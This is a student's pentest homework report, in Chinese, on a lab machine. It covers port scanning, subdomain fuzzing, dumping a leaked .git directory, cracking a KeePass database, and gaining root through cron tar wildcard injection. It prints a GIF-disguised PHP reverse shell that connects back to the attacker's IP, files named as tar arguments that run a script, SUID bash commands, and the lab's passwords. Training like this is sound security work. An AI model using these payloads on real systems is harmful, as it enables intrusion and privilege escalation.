# HW7_Pentest_Report E24114029 錢信亦 > 本次滲透資訊: > 攻擊者機器(Kali Machine):192.168.2.128 > 靶機:192.168.2.132 ## 資訊蒐集 > 首先! > 自己平常的起手三件套:nmap, dirb, nikto > 上完課之後就變這三個:rustscan, gobuster, nuclei > 收穫良多 > 真的快蠻多的 好用推薦! 那就開始吧 先掃一下 port Command: ``` rustscan -a 192.168.2.132 -r 1-65535 --ulimit 5000 ``` ![image](https://hackmd.io/_uploads/H1ZIfWIzgg.png) 目標確認有四個 1. 21: ftp 2. 22: ssh 3. 80: http 4. 8000: http ## 調查 4 個 Port 在幹嘛 照順序看一下: ### ftp ftp : 沒什麼東西在裡面,但解完後推測這邊可能會有彩蛋(? ![image](https://hackmd.io/_uploads/rkirbxwzgx.png) ### ssh ssh : 題目敘述有說這邊非正確路徑不要爆破了,所以先暫時略過 ### http(80) http(80) : 既然有網頁娜先在網址列打打看 192.168.2.128:80 會發現重新導向到一個網站 pwn2ooown.zyx 到 /etc/hosts 加一下這個網站 ![image](https://hackmd.io/_uploads/B1B6fxvzlx.png) 確認有網站後就可以開始掃路徑了 ![image](https://hackmd.io/_uploads/B1cdOxvzgx.png) 發現有 blog,但 blog 本身沒有什麼太有趣的東西 繼續往下掃掃看 ![image](https://hackmd.io/_uploads/SkEj_ewMlg.png) 發現有 admin ![image](https://hackmd.io/_uploads/rkXR_evzle.png) 是一個登入頁面 推測帳號密碼應該會在其他地方 所以先去看看 port 8000 ### http(8000) ![image](https://hackmd.io/_uploads/S1WzFgDGxe.png) 發現也是一個登入頁面 隨便輸一些東西進去看看 ![image](https://hackmd.io/_uploads/BJJwYxwfle.png) 從network那邊可以發現根本就沒有東西送到後端去檢查 推測就是個妥妥的rabbit hole 再看一下網頁原始碼 ![image](https://hackmd.io/_uploads/SyUsFxvfex.png) 發現有sqli檢查機制, 一開始我以為這個給 80 port 的提示 暗示 80 port 要用 sqli 繞過 所以花了 3, 4 個小時用sqli爆破 80 port 簡單來說我還是踩進rabbit hole了。 總之, 反覆撞牆測試都沒結果後,才突然想起來,好像subdomain還沒掃過 Command: ``` ffuf -u http://pwn2ooown.zyx/ -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host:FUZZ.pwn2ooown.zyx" -ac ``` ![image](https://hackmd.io/_uploads/Bk5-ilDfge.png) 發現有一個 test 先把他加進/etc/hosts ![image](https://hackmd.io/_uploads/SJ6mjgwflg.png) 瀏覽器打開後發現只有一行文字而已,但打開原始碼會發現 ![image](https://hackmd.io/_uploads/rJe5sePGll.png) 唉呦不錯喔 是線索 ![image](https://hackmd.io/_uploads/HJ7pilPzle.png) 開掃 ## 通往 Shell 的第一步 ### .git 洩漏 ![image](https://hackmd.io/_uploads/rJr11bDzex.png) .git出現大概推測就是git洩漏了 Command: ```=shell git clone https://github.com/arthaud/git-dumper.git git-dumper http://test.pwn2ooown.zyx/.git/ ./DumpedHere\ncd ./DumpedHere ``` 進到 .git 資料夾後看一下 log ![image](https://hackmd.io/_uploads/Hyh6mZPzle.png) Testing的部分應該會跟登入資訊有關係,也show一下看看 ![image](https://hackmd.io/_uploads/ryn8VWvflg.png) 搜刮到一個明文密碼了 也可以成功登入 80 Port 進到管理者頁面 ### Reverse Shell ![image](https://hackmd.io/_uploads/B1AkSWPzle.png) 發現有一個地方可以上傳檔案 只接收圖片檔,所以reverse shell如下: ```=php GIF89a; <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/9001 0>&1'"); ?> ``` 成功獲得shell之後先升級一下 ```=shell # 獲得更好的 TTY python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # 按 Ctrl+Z 把 shell 放到背景 # 然後在 Terminal 輸入: stty raw -echo; fg # 按兩次 Enter ``` 成功拿到www-data的shell ![image](https://hackmd.io/_uploads/HyM8P-DMgx.png) ## 接著當然是提權了 ### 偵查提權的洞 上課的時候有提示到 tryhackme 的 Linux PrivEsc Arena 有類似的方法 撇除掉需要sudo才能完成的(權限不夠大沒辦法用) 試了一輪之後有發現一個有趣的東西 Command: ``` cat /etc/crontab ``` ![image](https://hackmd.io/_uploads/BkJtdbvGge.png) 有一個 root 每分鐘都會執行的檔案 趕快飛過去看一下 ![image](https://hackmd.io/_uploads/HyWhdbwzgl.png) backup.sh 很明顯有一個 cron wildcards 漏洞 ![image](https://hackmd.io/_uploads/rkdyFbDGel.png) 可是執行的前提是 必須要有vincent的權限,才能放東西到他的 test 資料夾裡面 可是這時候也可以發現, 資料夾有一個檔案,Database.kdb 我參考了 https://file.org/extension/kdb 發現這是一個金鑰資料庫檔案 應該會跟密碼有關 開始對他下手! ### 提權到 vincent 把kdb檔nc到本機後先轉成john看得懂的樣子再爆破 Command: ``` keepass2john Database.kdb > keepass_hash.txt john --wordlist=/usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt keepass_hash.txt john --show keepass_hash.txt ``` ![image](https://hackmd.io/_uploads/B1eCqZPfge.png) 接著可以用 kpcli 去打開這個資料庫 Command: ``` # 安裝 kpcli sudo apt install kpcli # 開啟資料庫 kpcli kpcli:/> open database.kdb # 輸入密碼 # 列出內容 kpcli:/> find ``` ![image](https://hackmd.io/_uploads/H1GYj-Dfxe.png) 再一次 ![image](https://hackmd.io/_uploads/HJ7pilPzle.png) 成功提權成 vincent! ![image](https://hackmd.io/_uploads/SyVW3-DGgl.png) ### 提權成 root 我們可以繞回一開始發現的 cron wildcards 漏洞了 所以用 tryhackme 裡面提到的 checkpoint 的用法來新增檔案 ![image](https://hackmd.io/_uploads/B1aO3Wvzlx.png) Command: ``` touch /home/vincent/test/--checkpoint=1 touch /home/vincent/test/--checkpoint-action=exec=sh/ privesc.sh vim privesc.sh ``` privesc.sh裡面放以下內容 ``` #!/bin/bash cp /bin/bash ./rootbash chmod +s ./rootbash ``` ![image](https://hackmd.io/_uploads/B1zQ6-PMxg.png) ![image](https://hackmd.io/_uploads/r1SHpbvGll.png) 因為 root 執行的 backup.sh 本身會每分鐘去跑以上的程式碼 *符號 會把所有檔案都吃進去,checkpoint會被當成參數 程式碼就可以植入裡面,幫我們把bash複製出來加上SUID讓我們用 所以最後一步了, 執行一下 rootbash! ![image](https://hackmd.io/_uploads/SyibR-wGlx.png) ## 附錄 網站帳密: ``` username = "handsomepwn2ooown" password = "1`gTh&^8nsg#$" ``` 金鑰資料庫密碼:`YDVhlAkARDDyx1fdt3FUaQcbVsiibuON` Reverse Shell code: ``` GIF89a; <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/9001 0>&1'"); ?> ```